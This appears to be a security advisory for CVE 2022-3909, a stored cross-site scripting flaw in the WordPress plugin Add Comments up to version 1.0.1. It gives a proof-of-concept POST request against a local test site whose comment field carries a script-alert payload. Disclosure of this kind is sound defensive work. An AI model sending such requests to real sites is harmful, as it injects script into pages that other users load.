Add Comments <= 1.0.1 – Admin+ Stored XSS | CVE 2022-3909

Description

The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

Proof of Concept

POST /wp-admin/options-general.php?page=addComments HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://testing.local/wp-admin/options-general.php?page=addComments
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
Origin: http://testing.local
Connection: close
Cookie: <snip>
Upgrade-Insecure-Requests: 1

post_or_page=post&posts_list=1&pages_list=3&author_name=rss+feed+comments&author_email=fancybear0x%40gmail.com&author_url=&author_ip=127.0.0.1&comment=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&action=addcomments